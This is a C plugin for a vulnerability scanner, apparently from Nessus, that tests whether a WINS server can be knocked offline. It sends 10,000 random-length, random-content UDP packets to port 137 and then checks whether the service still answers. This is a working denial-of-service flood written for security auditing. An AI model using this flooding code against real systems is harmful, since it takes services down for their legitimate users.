/*
 * 
 * wins_udp_flood
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#ifndef INADDR_ANY
#define INADDR_ANY 0x00000000
#endif 

#define NAME "WINS udp flood"
#define DESC "\
Some WINS server don't like to be flooded with UDP\n\
packets, thus giving up and stopping their service\n\n\
Risk factor : High"
#define COPYRIGHT "adapted from Holas, Ondxej <OHolas@EXCH.DIGI-TRADE.CZ>"
#define SUMM "WINS denial of service"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
        plug_set_name(desc, NAME);
        plug_set_description(desc, DESC);
        plug_set_summary(desc, SUMM);
        plug_set_copyright(desc, COPYRIGHT);
        plug_set_category(desc, ACT_DENIAL);
        plug_set_family(desc, "Denial of Service");
        return(0);
}

PlugExport int plugin_run(struct arglist * args);
PlugExport int plugin_run(struct arglist * args)
{
 int soc;
 char buffer[512];
 struct sockaddr_in local, remote;
 struct in_addr * a;
 int rlen, datalen, i,j;
 
 if(host_get_port_state(args, 137)<=0)return(0);
 if((soc = open_sock_tcp(args, 137))<0)return(0);
 socket_close(soc);
 soc = socket(AF_INET, SOCK_DGRAM, 0);
 
 local.sin_family = AF_INET;
 local.sin_port = htons(0);
 local.sin_addr.s_addr = INADDR_ANY;
 if(bind(soc, (struct sockaddr *)&local, sizeof(local)))exit(0);
 
 remote.sin_family = AF_INET;
 remote.sin_port = htons(137);
 a = plug_get_host_ip(args);
 
 remote.sin_addr = *a;
 for(j=0;j<10000;j++)
 {
  rlen = sizeof(remote);
  datalen = random() % 512;
  for ( i = 0; i < datalen; i++ )
        buffer [i] = random ( ) % 256;
  sendto(soc, buffer, datalen, 0, (struct sockaddr *)&remote, rlen);
  }
  
  sleep(5);
  
  if((soc = open_sock_tcp(args, 137))<0)
  {
   post_hole(args, 137,
"It was possible to take out the remote WINS service\n\
by flooding it with several UDP packets.\n\
Solution: contact your vendor for a fix");
  }
  else socket_close(soc);
 return(0);
}
       

 
